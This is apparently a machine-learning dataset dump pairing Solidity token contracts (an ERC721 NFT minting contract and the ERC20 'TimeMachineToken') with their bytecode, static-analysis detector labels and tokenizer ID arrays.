= true; } function setCost(uint256 _newCost) public onlyOwner() { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { maxMintAmount = _newmaxMintAmount; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } }
0x60806040526004361061020f5760003560e01c80635c975abb11610118578063a475b5dd116100a0578063d5abeb011161006f578063d5abeb01146105bc578063da3ef23f146105d2578063e985e9c5146105f2578063f2c4ce1e1461063b578063f2fde38b1461065b57600080fd5b8063a475b5dd14610552578063b88d4fde14610567578063c668286214610587578063c87b56dd1461059c57600080fd5b80637f00c7a6116100e75780637f00c7a6146104cc5780638da5cb5b146104ec57806395d89b411461050a578063a0712d681461051f578063a22cb4651461053257600080fd5b80635c975abb1461045d5780636352211e1461047757806370a0823114610497578063715018a6146104b757600080fd5b806323b872dd1161019b578063438b63001161016a578063438b6300146103b157806344a0d68a146103de5780634f6ccce7146103fe578063518302271461041e57806355f804b31461043d57600080fd5b806323b872dd146103495780632f745c59146103695780633ccfd60b1461038957806342842e0e1461039157600080fd5b8063081c8c44116101e2578063081c8c44146102c5578063095ea7b3146102da57806313faede6146102fa57806318160ddd1461031e578063239c70ae1461033357600080fd5b806301ffc9a71461021457806302329a291461024957806306fdde031461026b578063081812fc1461028d575b600080fd5b34801561022057600080fd5b5061023461022f366004611f47565b61067b565b60405190151581526020015b60405180910390f35b34801561025557600080fd5b50610269610264366004611f2c565b6106a6565b005b34801561027757600080fd5b506102806106ec565b6040516102409190612154565b34801561029957600080fd5b506102ad6102a8366004611fca565b61077e565b6040516001600160a01b039091168152602001610240565b3480156102d157600080fd5b50610280610813565b3480156102e657600080fd5b506102696102f5366004611f02565b6108a1565b34801561030657600080fd5b50610310600d5481565b604051908152602001610240565b34801561032a57600080fd5b50600854610310565b34801561033f57600080fd5b50610310600f5481565b34801561035557600080fd5b50610269610364366004611e20565b6109b7565b34801561037557600080fd5b50610310610384366004611f02565b6109e8565b610269610a7e565b34801561039d57600080fd5b506102696103ac366004611e20565b610b00565b3480156103bd57600080fd5b506103d16103cc366004611dd2565b610b1b565b6040516102409190612110565b3480156103ea57600080fd5b506102696103f9366004611fca565b610bbd565b34801561040a57600080fd5b50610310610419366004611fca565b610bec565b34801561042a57600080fd5b5060105461023490610100900460ff1681565b34801561044957600080fd5b50610269610458366004611f81565b610c7f565b34801561046957600080fd5b506010546102349060ff1681565b34801561048357600080fd5b506102ad610492366004611fca565b610cc0565b3480156104a357600080fd5b506103106104b2366004611dd2565b610d37565b3480156104c357600080fd5b50610269610dbe565b3480156104d857600080fd5b506102696104e7366004611fca565b610df4565b3480156104f857600080fd5b50600a546001600160a01b03166102ad565b34801561051657600080fd5b50610280610e23565b61026961052d366004611fca565b610e32565b34801561053e57600080fd5b5061026961054d366004611ed8565b610edf565b34801561055e57600080fd5b50610269610fa4565b34801561057357600080fd5b50610269610582366004611e5c565b610fdf565b34801561059357600080fd5b50610280611017565b3480156105a857600080fd5b506102806105b7366004611fca565b611024565b3480156105c857600080fd5b50610310600e5481565b3480156105de57600080fd5b506102696105ed366004611f81565b6111a3565b3480156105fe57600080fd5b5061023461060d366004611ded565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561064757600080fd5b50610269610656366004611f81565b6111e0565b34801561066757600080fd5b50610269610676366004611dd2565b61121d565b60006001600160e01b0319821663780e9d6360e01b14806106a057506106a0826112b5565b92915050565b600a546001600160a01b031633146106d95760405162461bcd60e51b81526004016106d0906121b9565b60405180910390fd5b6010805460ff1916911515919091179055565b6060600080546106fb906122cd565b80601f0160208091040260200160405190810160405280929190818152602001828054610727906122cd565b80156107745780601f1061074957610100808354040283529160200191610774565b820191906000526020600020905b81548152906001019060200180831161075757829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166107f75760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106d0565b506000908152600460205260409020546001600160a01b031690565b60118054610820906122cd565b80601f016020809104026020016040519081016040528092919081815260200182805461084c906122cd565b80156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b505050505081565b60006108ac82610cc0565b9050806001600160a01b0316836001600160a01b0316141561091a5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016106d0565b336001600160a01b03821614806109365750610936813361060d565b6109a85760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016106d0565b6109b28383611305565b505050565b6109c13382611373565b6109dd5760405162461bcd60e51b81526004016106d0906121ee565b6109b283838361146a565b60006109f383610d37565b8210610a555760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016106d0565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610aa85760405162461bcd60e51b81526004016106d0906121b9565b604051600090339047908381818185875af1925050503d8060008114610aea576040519150601f19603f3d011682016040523d82523d6000602084013e610aef565b606091505b5050905080610afd57600080fd5b50565b6109b283838360405180602001604052806000815250610fdf565b60606000610b2883610d37565b905060008167ffffffffffffffff811115610b4557610b4561238f565b604051908082528060200260200182016040528015610b6e578160200160208202803683370190505b50905060005b82811015610bb557610b8685826109e8565b828281518110610b9857610b98612379565b602090810291909101015280610bad81612308565b915050610b74565b509392505050565b600a546001600160a01b03163314610be75760405162461bcd60e51b81526004016106d0906121b9565b600d55565b6000610bf760085490565b8210610c5a5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016106d0565b60088281548110610c6d57610c6d612379565b90600052602060002001549050919050565b600a546001600160a01b03163314610ca95760405162461bcd60e51b81526004016106d0906121b9565b8051610cbc90600b906020840190611c97565b5050565b6000818152600260205260408120546001600160a01b0316806106a05760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016106d0565b60006001600160a01b038216610da25760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016106d0565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314610de85760405162461bcd60e51b81526004016106d0906121b9565b610df26000611615565b565b600a546001600160a01b03163314610e1e5760405162461bcd60e51b81526004016106d0906121b9565b600f55565b6060600180546106fb906122cd565b6000610e3d60085490565b60105490915060ff1615610e5057600080fd5b60008211610e5d57600080fd5b600f54821115610e6c57600080fd5b600e54610e79838361223f565b1115610e8457600080fd5b600a546001600160a01b03163314610eb05781600d54610ea4919061226b565b341015610eb057600080fd5b60015b8281116109b257610ecd33610ec8838561223f565b611667565b80610ed781612308565b915050610eb3565b6001600160a01b038216331415610f385760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016106d0565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600a546001600160a01b03163314610fce5760405162461bcd60e51b81526004016106d0906121b9565b6010805461ff001916610100179055565b610fe93383611373565b6110055760405162461bcd60e51b81526004016106d0906121ee565b61101184848484611681565b50505050565b600c8054610820906122cd565b6000818152600260205260409020546060906001600160a01b03166110a35760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016106d0565b601054610100900460ff1661114457601180546110bf906122cd565b80601f01602080910402602001604051908101604052809291908181526020018280546110eb906122cd565b80156111385780601f1061110d57610100808354040283529160200191611138565b820191906000526020600020905b81548152906001019060200180831161111b57829003601f168201915b50505050509050919050565b600061114e6116b4565b9050600081511161116e576040518060200160405280600081525061119c565b80611178846116c3565b600c60405160200161118c9392919061200f565b6040516020818303038152906040525b9392505050565b600a546001600160a01b031633146111cd5760405162461bcd60e51b81526004016106d0906121b9565b8051610cbc90600c906020840190611c97565b600a546001600160a01b0316331461120a5760405162461bcd60e51b81526004016106d0906121b9565b8051610cbc906011906020840190611c97565b600a546001600160a01b031633146112475760405162461bcd60e51b81526004016106d0906121b9565b6001600160a01b0381166112ac5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106d0565b610afd81611615565b60006001600160e01b031982166380ac58cd60e01b14806112e657506001600160e01b03198216635b5e139f60e01b145b806106a057506301ffc9a760e01b6001600160e01b03198316146106a0565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061133a82610cc0565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166113ec5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106d0565b60006113f783610cc0565b9050806001600160a01b0316846001600160a01b031614806114325750836001600160a01b03166114278461077e565b6001600160a01b0316145b8061146257506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661147d82610cc0565b6001600160a01b0316146114e55760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016106d0565b6001600160a01b0382166115475760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016106d0565b6115528383836117c1565b61155d600082611305565b6001600160a01b038316600090815260036020526040812080546001929061158690849061228a565b90915550506001600160a01b03821660009081526003602052604081208054600192906115b490849061223f565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610cbc828260405180602001604052806000815250611879565b61168c84848461146a565b611698848484846118ac565b6110115760405162461bcd60e51b81526004016106d090612167565b6060600b80546106fb906122cd565b6060816116e75750506040805180820190915260018152600360fc1b602082015290565b8160005b811561171157806116fb81612308565b915061170a9050600a83612257565b91506116eb565b60008167ffffffffffffffff81111561172c5761172c61238f565b6040519080825280601f01601f191660200182016040528015611756576020820181803683370190505b5090505b84156114625761176b60018361228a565b9150611778600a86612323565b61178390603061223f565b60f81b81838151811061179857611798612379565b60200101906001600160f81b031916908160001a9053506117ba600a86612257565b945061175a565b6001600160a01b03831661181c5761181781600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b61183f565b816001600160a01b0316836001600160a01b03161461183f5761183f83826119b9565b6001600160a01b038216611856576109b281611a56565b826001600160a01b0316826001600160a01b0316146109b2576109b28282611b05565b6118838383611b49565b61189060008484846118ac565b6109b25760405162461bcd60e51b81526004016106d090612167565b60006001600160a01b0384163b156119ae57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906118f09033908990889088906004016120d3565b602060405180830381600087803b15801561190a57600080fd5b505af192505050801561193a575060408051601f3d908101601f1916820190925261193791810190611f64565b60015b611994573d808015611968576040519150601f19603f3d011682016040523d82523d6000602084013e61196d565b606091505b50805161198c5760405162461bcd60e51b81526004016106d090612167565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611462565b506001949350505050565b600060016119c684610d37565b6119d0919061228a565b600083815260076020526040902054909150808214611a23576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090611a689060019061228a565b60008381526009602052604081205460088054939450909284908110611a9057611a90612379565b906000526020600020015490508060088381548110611ab157611ab1612379565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480611ae957611ae9612363565b6001900381819060005260206000200160009055905550505050565b6000611b1083610d37565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b038216611b9f5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016106d0565b6000818152600260205260409020546001600160a01b031615611c045760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016106d0565b611c10600083836117c1565b6001600160a01b0382166000908152600360205260408120805460019290611c3990849061223f565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611ca3906122cd565b90600052602060002090601f016020900481019282611cc55760008555611d0b565b82601f10611cde57805160ff1916838001178555611d0b565b82800160010185558215611d0b579182015b82811115611d0b578251825591602001919060010190611cf0565b50611d17929150611d1b565b5090565b5b80821115611d175760008155600101611d1c565b600067ffffffffffffffff80841115611d4b57611d4b61238f565b604051601f8501601f19908116603f01168101908282118183101715611d7357611d7361238f565b81604052809350858152868686011115611d8c57600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b0381168114611dbd57600080fd5b919050565b80358015158114611dbd57600080fd5b600060208284031215611de457600080fd5b61119c82611da6565b60008060408385031215611e0057600080fd5b611e0983611da6565b9150611e1760208401611da6565b90509250929050565b600080600060608486031215611e3557600080fd5b611e3e84611da6565b9250611e4c60208501611da6565b9150604084013590509250925092565b60008060008060808587031215611e7257600080fd5b611e7b85611da6565b9350611e8960208601611da6565b925060408501359150606085013567ffffffffffffffff811115611eac57600080fd5b8501601f81018713611ebd57600080fd5b611ecc87823560208401611d30565b91505092959194509250565b60008060408385031215611eeb57600080fd5b611ef483611da6565b9150611e1760208401611dc2565b60008060408385031215611f1557600080fd5b611f1e83611da6565b946020939093013593505050565b600060208284031215611f3e57600080fd5b61119c82611dc2565b600060208284031215611f5957600080fd5b813561119c816123a5565b600060208284031215611f7657600080fd5b815161119c816123a5565b600060208284031215611f9357600080fd5b813567ffffffffffffffff811115611faa57600080fd5b8201601f81018413611fbb57600080fd5b61146284823560208401611d30565b600060208284031215611fdc57600080fd5b5035919050565b60008151808452611ffb8160208601602086016122a1565b601f01601f19169290920160200192915050565b6000845160206120228285838a016122a1565b8551918401916120358184848a016122a1565b8554920191600090600181811c908083168061205257607f831692505b85831081141561207057634e487b7160e01b85526022600452602485fd5b8080156120845760018114612095576120c2565b60ff198516885283880195506120c2565b60008b81526020902060005b858110156120ba5781548a8201529084019088016120a1565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061210690830184611fe3565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b818110156121485783518352928401929184019160010161212c565b50909695505050505050565b60208152600061119c6020830184611fe3565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6000821982111561225257612252612337565b500190565b6000826122665761226661234d565b500490565b600081600019048311821515161561228557612285612337565b500290565b60008282101561229c5761229c612337565b500390565b60005b838110156122bc5781810151838201526020016122a4565b838111156110115750506000910152565b600181811c908216806122e157607f821691505b6020821081141561230257634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561231c5761231c612337565b5060010190565b6000826123325761233261234d565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610afd57600080fdfea2646970667358221220000113efd40678d1e95702e537a1e730993a5553607d49f6f30051b2ee877b5364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2278, 16068, 2050, 18827, 2629, 7875, 24096, 2581, 2278, 2575, 2094, 2683, 2546, 2509, 11329, 2546, 16932, 9468, 2063, 2575, 23352, 2575, 27421, 25746, 2581, 2497, 2692, 2050, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 13266, 2011, 23325, 15000, 2015, 1013, 1008, 1008, 999, 5860, 19771, 5017, 999, 2122, 8311, 2031, 2042, 2109, 2000, 3443, 14924, 26340, 1010, 1998, 2001, 2580, 2005, 1996, 3800, 2000, 6570, 2111, 2129, 2000, 3443, 6047, 8311, 2006, 1996, 3796, 24925, 2078, 1012, 3531, 3319, 2023, 3642, 2006, 2115, 2219, 2077, 2478, 2151, 1997, 1996, 2206, 3642, 2005, 2537, 1012, 23325, 15000, 2015, 2097, 2025, 2022, 20090, 1999, 2151, 2126, 2065, 2005, 1996, 2224, 1997, 1996, 3642, 1012, 2008, 2108, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,820
0x95c166ab3f680b909233f954e4c9310f367a20b2
pragma solidity ^0.4.15; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function toUINT112(uint256 a) internal pure returns(uint112) { assert(uint112(a) == a); return uint112(a); } function toUINT120(uint256 a) internal pure returns(uint120) { assert(uint120(a) == a); return uint120(a); } function toUINT128(uint256 a) internal pure returns(uint128) { assert(uint128(a) == a); return uint128(a); } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract TimeMachineToken is StandardToken { string public constant name = " Time Machine"; string public constant symbol = "TMM"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 10000000000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ function TimeMachineToken() public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
0x6080604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013957806318160ddd1461019e57806323b872dd146101c95780632ff2e9dc1461024e578063313ce5671461027957806370a08231146102aa57806395d89b4114610301578063a9059cbb14610391578063dd62ed3e146103f6575b600080fd5b3480156100b557600080fd5b506100be61046d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fe5780820151818401526020810190506100e3565b50505050905090810190601f16801561012b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014557600080fd5b50610184600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104a6565b604051808215151515815260200191505060405180910390f35b3480156101aa57600080fd5b506101b3610598565b6040518082815260200191505060405180910390f35b3480156101d557600080fd5b50610234600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061059e565b604051808215151515815260200191505060405180910390f35b34801561025a57600080fd5b5061026361095d565b6040518082815260200191505060405180910390f35b34801561028557600080fd5b5061028e61096f565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102b657600080fd5b506102eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610974565b6040518082815260200191505060405180910390f35b34801561030d57600080fd5b506103166109bd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035657808201518184015260208101905061033b565b50505050905090810190601f1680156103835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561039d57600080fd5b506103dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109f6565b604051808215151515815260200191505060405180910390f35b34801561040257600080fd5b50610457600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c1a565b6040518082815260200191505060405180910390f35b6040805190810160405280600d81526020017f2054696d65204d616368696e650000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156105db57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561062957600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106b457600080fd5b61070682600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ca190919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061079b82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cba90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061086d82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ca190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a6402540be4000281565b601281565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600381526020017f544d4d000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610a3357600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a8157600080fd5b610ad382600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ca190919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b6882600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cba90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000828211151515610caf57fe5b818303905092915050565b6000808284019050838110151515610cce57fe5b80915050929150505600a165627a7a723058203dafb14a66db4de1a011d08527811bdfb4779e5d2f07b30f7a57c36f2fefe6d70029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 2278, 16048, 2575, 7875, 2509, 2546, 2575, 17914, 2497, 21057, 2683, 21926, 2509, 2546, 2683, 27009, 2063, 2549, 2278, 2683, 21486, 2692, 2546, 21619, 2581, 2050, 11387, 2497, 2475, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2321, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 102 ]
